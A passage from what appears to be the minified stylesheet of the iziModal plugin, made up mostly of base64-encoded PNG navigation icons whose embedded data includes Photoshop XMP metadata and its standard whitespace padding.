ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAKPD94cGFja2V0IGVuZD0idyI/PvAvv7QAAAAgY0hSTQAAeiUAAICDAAD5/wAAgOkAAHUwAADqYAAAOpgAABdvkl/FRgAAAmdJREFUeNrs1LsJQkEQhtH/mtmBgQ8QA7tQK1e7MBBBMbADwzUZEyuQveeDCXbD4TBDay3SWJpYgYCXgJeAl4CXgJeAl4CXgJeAl4CXgJeAF/AS8BLwEvAS8BLwEvAS8BLwEvAS8BLwAl4CXgJeAl4CXv/WJskpyQJ4jQH7Mcmu0C+BV+/Y5/VeF/oV8Ood+7dpDfDqHvsrySHJBXjBDrxgB16wAy/YgRfswAt24AU78IIdeMEOPOywAw+7gIcdeMEOvGAHXrADL9iBF+zAC3bgBTvwsMMOPOwCHnYBD7uAhx14wQ68YAdesAMv2IEX7MDDDjvwsAt42AU87AIedgEPu4CHXcDDDrxgB16wAw877MDDDjvwsAt42AU87AIedgEPu4CHXcDDLuBhB16wAw877MDDLuBhF/CwC3jYBTzsAh52AQ+7gIddwEtjB3+tS/78+Z/V5d9iATz0Ah56AQ+9gIdewEMv4KEX8NALeOgFPPQCHnoBDz3wgh54QQ889NADDz30wEMv4KEX8NALeOgFPPQCHnoBD72Ahx54QQ+8oAde0AMv6IEX9MBDDz3w0EMPPPQCHnoBD72Ah17AQw+8FUAPvKAHXtADL+iBF/TAC3rgBT3wgh546KEHHnrogYdewEMv4KEHXtADL+iBF/TAC3rgBT3wgh54QQ+8oAde0AMv6IGHHnrgoU/yrgFe3aO/JdknuQOv3tGfC/tjjEsYWmsoyIWXgJeAl4CXgJeAl4CXgJeAl4CXgJeAF/AS8BLwEvAS8BLwEvAS8BLwEvAS8BLwAl4CXgJeAl4CXvqnPgAAAP//AwCEcoCBRabYzAAAAABJRU5ErkJggg==) no-repeat 50% 50%}.iziModal-navigate-next{right:50%;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAALwAAAC8CAYAAADCScSrAAAACXBIWXMAAB3SAAAd0gEUasEwAAA7pGlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4KPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNS42LWMxMzIgNzkuMTU5Mjg0LCAyMDE2LzA0LzE5LTEzOjEzOjQwICAgICAgICAiPgogICA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPgogICAgICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIgogICAgICAgICAgICB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iCiAgICAgICAgICAgIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIKICAgICAgICAgICAgeG1sbnM6cGhvdG9zaG9wPSJodHRwOi8vbnMuYWRvYmUuY29tL3Bob3Rvc2hvcC8xLjAvIgogICAgICAgICAgICB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIKICAgICAgICAgICAgeG1sbnM6c3RFdnQ9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZUV2ZW50IyIKICAgICAgICAgICAgeG1sbnM6dGlmZj0iaHR0cDovL25zLmFkb2JlLmNvbS90aWZmLzEuMC8iCiAgICAgICAgICAgIHhtbG5zOmV4aWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vZXhpZi8xLjAvIj4KICAgICAgICAgPHhtcDpDcmVhdG9yVG9vbD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNS41IChXaW5kb3dzKTwveG1wOkNyZWF0b3JUb29sPgogICAgICAgICA8eG1wOkNyZWF0ZURhdGU+MjAxNi0wOC0wMVQwOTo0MDoxNC0wMzowMDwveG1wOkNyZWF0ZURhdGU+CiAgICAgICAgIDx4bXA6TW9kaWZ5RGF0ZT4yMDE2LTA4LTAxVDExOjU4OjEyLTAzOjAwPC94bXA6TW9kaWZ5RGF0ZT4KICAgICAgICAgPHhtcDpNZXRhZGF0YURhdGU+MjAxNi0wOC0wMVQxMTo1ODoxMi0wMzowMDwveG1wOk1ldGFkYXRhRGF0ZT4KICAgICAgICAgPGRjOmZvcm1hdD5pbWFnZS9wbmc8L2RjOmZvcm1hdD4KICAgICAgICAgPHBob3Rvc2hvcDpDb2xvck1vZGU+MzwvcGhvdG9zaG9wOkNvbG9yTW9kZT4KICAgICAgICAgPHhtcE1NOkluc3RhbmNlSUQ+eG1wLmlpZDphZjljN2Q2MC00MTg2LWE3NGQtYTBiMS1mMGU5ODUwYzg2ZGY8L3htcE1NOkluc3RhbmNlSUQ+CiAgICAgICAgIDx4bXBNTTpEb2N1bWVudElEPnhtcC5kaWQ6NjQ5MmM3MTMtOWQzNC02ZTRkLWJlMDYtYTAzMmNkODQ1YzRlPC94bXBNTTpEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06T3JpZ2luYWxEb2N1bWVudElEPnhtcC5kaWQ6NjQ5MmM3MTMtOWQzNC02ZTRkLWJlMDYtYTAzMmNkODQ1YzRlPC94bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ+CiAgICAgICAgIDx4bXBNTTpIaXN0b3J5PgogICAgICAgICAgICA8cmRmOlNlcT4KICAgICAgICAgICAgICAgPHJkZjpsaSByZGY6cGFyc2VUeXBlPSJSZXNvdXJjZSI+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDphY3Rpb24+Y3JlYXRlZDwvc3RFdnQ6YWN0aW9uPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6aW5zdGFuY2VJRD54bXAuaWlkOjY0OTJjNzEzLTlkMzQtNmU0ZC1iZTA2LWEwMzJjZDg0NWM0ZTwvc3RFdnQ6aW5zdGFuY2VJRD4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OndoZW4+MjAxNi0wOC0wMVQwOTo0MDoxNC0wMzowMDwvc3RFdnQ6d2hlbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OnNvZnR3YXJlQWdlbnQ+QWRvYmUgUGhvdG9zaG9wIENDIDIwMTUuNSAoV2luZG93cyk8L3N0RXZ0OnNvZnR3YXJlQWdlbnQ+CiAgICAgICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICAgICA8cmRmOmxpIHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OmFjdGlvbj5zYXZlZDwvc3RFdnQ6YWN0aW9uPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6aW5zdGFuY2VJRD54bXAuaWlkOjAxNjJjMmE3LWZmMjYtYzE0ZC05Yjg4LTc2MGM2NzAxYjYzNzwvc3RFdnQ6aW5zdGFuY2VJRD4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OndoZW4+MjAxNi0wOC0wMVQxMTo1MTowNy0wMzowMDwvc3RFdnQ6d2hlbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OnNvZnR3YXJlQWdlbnQ+QWRvYmUgUGhvdG9zaG9wIENDIDIwMTUuNSAoV2luZG93cyk8L3N0RXZ0OnNvZnR3YXJlQWdlbnQ+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDpjaGFuZ2VkPi88L3N0RXZ0OmNoYW5nZWQ+CiAgICAgICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICAgICA8cmRmOmxpIHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OmFjdGlvbj5zYXZlZDwvc3RFdnQ6YWN0aW9uPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6aW5zdGFuY2VJRD54bXAuaWlkOmFmOWM3ZDYwLTQxODYtYTc0ZC1hMGIxLWYwZTk4NTBjODZkZjwvc3RFdnQ6aW5zdGFuY2VJRD4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OndoZW4+MjAxNi0wOC0wMVQxMTo1ODoxMi0wMzowMDwvc3RFdnQ6d2hlbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OnNvZnR3YXJlQWdlbnQ+QWRvYmUgUGhvdG9zaG9wIENDIDIwMTUuNSAoV2luZG93cyk8L3N0RXZ0OnNvZnR3YXJlQWdlbnQ+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDpjaGFuZ2VkPi88L3N0RXZ0OmNoYW5nZWQ+CiAgICAgICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICA8L3JkZjpTZXE+CiAgICAgICAgIDwveG1wTU06SGlzdG9yeT4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAgICAgICAgPHRpZmY6WFJlc29sdXRpb24+MTkzOTAzNi8xMDAwMDwvdGlmZjpYUmVzb2x1dGlvbj4KICAgICAgICAgPHRpZmY6WVJlc29sdXRpb24+MTkzOTAzNi8xMDAwMDwvdGlmZjpZUmVzb2x1dGlvbj4KICAgICAgICAgPHRpZmY6UmVzb2x1dGlvblVuaXQ+MjwvdGlmZjpSZXNvbHV0aW9uVW5pdD4KICAgICAgICAgPGV4aWY6Q29sb3JTcGFjZT42NTUzNTwvZXhpZjpDb2xvclNwYWNlPgogICAgICAgICA8ZXhpZjpQaXhlbFhEaW1lbnNpb24+MTg4PC9leGlmOlBpeGVsWERpbWVuc2lvbj4KICAgICAgICAgPGV4aWY6UGl4ZWxZRGltZW5zaW9uPjE4ODwvZXhpZjpQaXhlbFlEaW1lbnNpb24+CiAgICAgIDwvcmRmOkRlc2NyaXB0aW9uPgogICA8L3JkZjpSREY+CjwveDp4bXBtZXRhPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg